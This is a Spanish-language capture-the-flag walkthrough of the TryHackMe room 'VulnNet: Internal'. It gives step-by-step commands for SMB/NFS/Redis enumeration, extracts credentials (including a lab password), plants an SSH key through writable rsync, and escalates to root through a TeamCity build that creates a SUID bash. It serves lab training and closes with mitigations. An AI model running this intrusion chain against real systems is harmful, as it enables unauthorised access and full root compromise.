VulnNet: Internal - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
VulnNet: Internal - TryHackMe

📚 Esta publicación pertenece a la colección:

VulnNet: Internal - TryHackMe Walkthrough

Bienvenido a mi writeup de VulnNet: Internal de TryHackMe.

Esta room se centra en la explotación de servicios internos. Empiezo con enumeración en red (SMB, NFS y Redis), pivoto hacia rsync para conseguir acceso SSH como usuario interno y termino escalando a root abusando de un TeamCity accesible solo en localhost.

Room: VulnNet: Internal
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.112.156.177

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Primero compruebo conectividad:

ping -c1 10.112.156.177
  • -c1 → Envía un solo paquete ICMP
▶ output
64 bytes from 10.112.156.177: icmp_seq=1 ttl=62 time=46.1 ms

Por TTL, parece que posiblemente estoy ante Linux.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Lanzo un escaneo completo para detectar todos los servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.112.156.177
  • -p- → Escanea los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • -sS → SYN scan (stealth)
  • --min-rate 5000 → Acelera el envío de paquetes
  • -vvv → Mayor verbosidad
  • -n → Sin resolución DNS
  • -Pn → Sin ping previo
▶ output
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
873/tcp   open  rsync
2049/tcp  open  nfs
6379/tcp  open  redis

Después hago un escaneo dirigido a esos puertos:

nmap -p22,111,139,445,873,2049,6379,33327,39471,39511,49187,54735 -sCV 10.112.156.177
  • -p... → Escanea solo los puertos descubiertos
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones
▶ output
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
445/tcp  open  netbios-ssn Samba smbd 4
873/tcp  open  rsync    (protocol version 31)
2049/tcp open  nfs_acl  3 (RPC #100227)
6379/tcp open  redis    Redis key-value store

El resultado me deja un escenario con muchos servicios: SMB, NFS, rsync, Redis y varios puertos RPC.

📁 Fase 2: Enumeración

Enumeración SMB Anónima

Como SMB es uno de los servicios que mejor reconozco, empiezo por ahí.

Primero enumero recursos compartidos de forma anónima:

crackmapexec smb 10.112.156.177 --shares -u '' -p ''
  • --shares → Lista los recursos SMB disponibles
  • -u '' -p '' → Intenta autenticación anónima
▶ output
SMB 10.112.156.177 445 VULNNET 
[+] Enumeración anónima permitida
[-] ADMIN$ NO ACCESS
[+] shares READ

Luego accedo al recurso compartido:

smbclient //10.112.156.177/shares -N
  • -N → Conexión sin contraseña
▶ output
smb: > ls
temp/                 D        0
data/                 D        0

smb: 	emp> ls
services.txt          A       38

Puedo leer temp/ y data/. En temp/ encuentro services.txt (primera flag de la room) y en data/ veo notas internas que no me dan acceso directo, pero sí contexto de operación.

En la siguiente captura se observa la enumeración del recurso SMB:

Enumeración SMB y recursos compartidos

Enumeración RPC/NFS

Paso a rpcbind y NFS:

rpcinfo -p 10.112.156.177
  • -p → Lista programas RPC registrados y sus puertos

Con esa salida veo mountd, así que reviso exportaciones NFS:

showmount -e 10.112.156.177
  • -e → Muestra directorios NFS exportados
▶ output
Export list for 10.112.156.177:
/opt/conf *

Aparece /opt/conf, así que lo monto en local:

sudo mount -t nfs 10.112.156.177:/opt/conf /mnt/vulnet -o nolock
  • -t nfs → Tipo de sistema de archivos
  • /opt/conf → Recurso remoto exportado
  • /mnt/vulnet → Punto de montaje local
  • -o nolock → Evita bloqueo NLM en este montaje

Dentro de la configuración encuentro redis/redis.conf y localizo:

requirepass "B65Hx562F@ggAZ@F"

Enumeración Redis

Con esa contraseña ya puedo autenticar contra Redis:

redis-cli -h 10.112.156.177
  • -h → Host remoto de Redis
auth B65Hx562F@ggAZ@F
  • auth → Autenticación en Redis

Empiezo revisando claves:

KEYS *
  • KEYS * → Lista todas las claves
▶ output
1) "marketlist"
2) "internal flag"
3) "authlist"
4) "tmp"
5) "int"

Leo internal flag con GET y consigo la segunda flag de la room.

🚀 Fase 3: Explotación

Intento Fallido con Metasploit

En este punto pruebo una vía directa de RCE con el módulo:

linux/redis/redis_replication_cmd_exec

No me funciona y, además, altero parte de la información de Redis durante las pruebas. Para continuar limpio, reinicio la máquina y sigo con la nueva IP objetivo 10.113.165.169.

Enumeración Correcta de Listas Redis

Antes había ignorado authlist y marketlist porque usaba GET. Al revisar mejor, identifico el tipo real:

TYPE authlist
  • TYPE → Indica el tipo de dato de una clave
▶ output
list
TYPE marketlist
  • TYPE → Indica el tipo de dato de una clave
▶ output
list

Como son listas, extraigo contenido con:

LRANGE authlist 0 -1
  • LRANGE → Muestra elementos de una lista
  • 0 -1 → Desde el primer elemento al último
▶ output
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="

Obtengo una cadena en base64.

En esta captura se ve la salida de authlist en Redis:

Salida de authlist en Redis

La decodifico y recupero credenciales de rsync.

En la siguiente imagen se aprecia la decodificación en CyberChef:

Decodificación de credencial en CyberChef

Abuso de Rsync y Acceso SSH

Con la credencial enumero módulos de rsync:

rsync --list-only 10.113.165.169::
  • --list-only → Lista módulos remotos sin descargar
▶ output
files           Necessary home interaction

Luego enumero contenido del módulo files:

rsync -av rsync-connect@10.113.165.169::files/
  • -a → Modo archivo (recursivo y preserva atributos)
  • -v → Salida verbose
▶ output
drwx------          4,096 2021/02/06 06:43:14 sys-internal/.ssh
-rw-------             38 2021/02/06 06:54:25 sys-internal/user.txt

Veo sys-internal/user.txt y también .ssh/.

Descargo la flag de usuario:

rsync rsync-connect@10.113.165.169::files/sys-internal/user.txt .
  • Último . → Guarda en el directorio actual

Cuando reviso .ssh/, veo que puedo escribir, así que preparo un par de claves:

ssh-keygen -t rsa -f ./id_rsa_thm
  • -t rsa → Tipo de clave
  • -f → Archivo de salida

Subo la clave pública como authorized_keys:

rsync -av ./id_rsa_thm.pub rsync-connect@10.113.165.169::files/sys-internal/.ssh/authorized_keys
  • Copia la clave pública al archivo de autorización SSH del usuario

Ajusto permisos y conecto por SSH:

chmod 600 id_rsa_thm
  • 600 → Solo propietario puede leer/escribir la clave privada
ssh sys-internal@10.113.165.169 -i id_rsa_thm
  • -i → Ruta de la clave privada para autenticación

En la siguiente imagen se observa el acceso conseguido con la clave:

Acceso SSH con id_rsa inyectada

⬆️ Fase 4: Escalada de Privilegios

Descubrimiento de TeamCity Interno

Haciendo enumeración local encuentro TeamCity y compruebo un puerto local:

ss -tulpn
  • -tulpn → Lista sockets TCP/UDP en escucha y proceso asociado
▶ output
tcp   LISTEN 0 100 [::ffff:127.0.0.1]:8111 *:*

Veo que el servicio escucha en 127.0.0.1:8111, así que hago port forwarding:

ssh -L 8111:127.0.0.1:8111 sys-internal@10.113.165.169 -i id_rsa_thm
  • -L → Reenvía un puerto local hacia un puerto remoto interno

En TeamCity veo que necesito un token de superusuario. No puedo leer teamcity-server.log, pero revisando otros logs encuentro el token en catalina.out.

Una vez dentro como superusuario, creo un proyecto y un build step de tipo command line con:

cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

La siguiente captura muestra el panel de TeamCity accesible por túnel SSH:

Panel interno de TeamCity

En esta captura se ve la ejecución del build que prepara la bash SUID:

Build de TeamCity para preparar rootbash

Al terminar el build, ejecuto:

/tmp/rootbash -p
  • -p → Conserva privilegios efectivos (root)
▶ output
rootbash-5.0# whoami
root

Con eso ya soy root.

🚩 Flag de Root

Accedo a la flag final en:

/root/root.txt

La imagen de obtención de la flag de root queda oculta para evitar spoilers directos:

Flag de root en VulnNet Internal
Click para ver imagen

📊 Resumen

Cadena de Ataque

SMB anónimo → NFS /opt/conf → redis.conf (requirepass) → Redis (authlist base64) → credenciales rsync → authorized_keys en sys-internal → SSH → TeamCity interno por túnel → build malicioso con bash SUID → root

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • crackmapexec / smbclient — Enumeración SMB anónima
  • rpcinfo / showmount / mount — Enumeración y montaje NFS
  • redis-cli — Enumeración de claves y extracción de datos
  • CyberChef — Decodificación base64
  • rsync — Enumeración y transferencia remota de archivos
  • ssh — Acceso remoto y port forwarding

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
SMB anónimo con datos sensibles accesiblesALTADeshabilitar acceso anónimo y aplicar control de acceso por mínimos privilegios
Export NFS de configuración interna (/opt/conf)CRÍTICARestringir exports por IP/segmento y evitar exponer configuración sensible
Credenciales en texto plano en configuración y estructuras RedisCRÍTICARotación de secretos, vault centralizado y eliminación de secretos hardcodeados
Servicio TeamCity interno explotable por usuario comprometidoALTASegmentar acceso interno, endurecer permisos de logs y minimizar privilegios de ejecución de builds

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.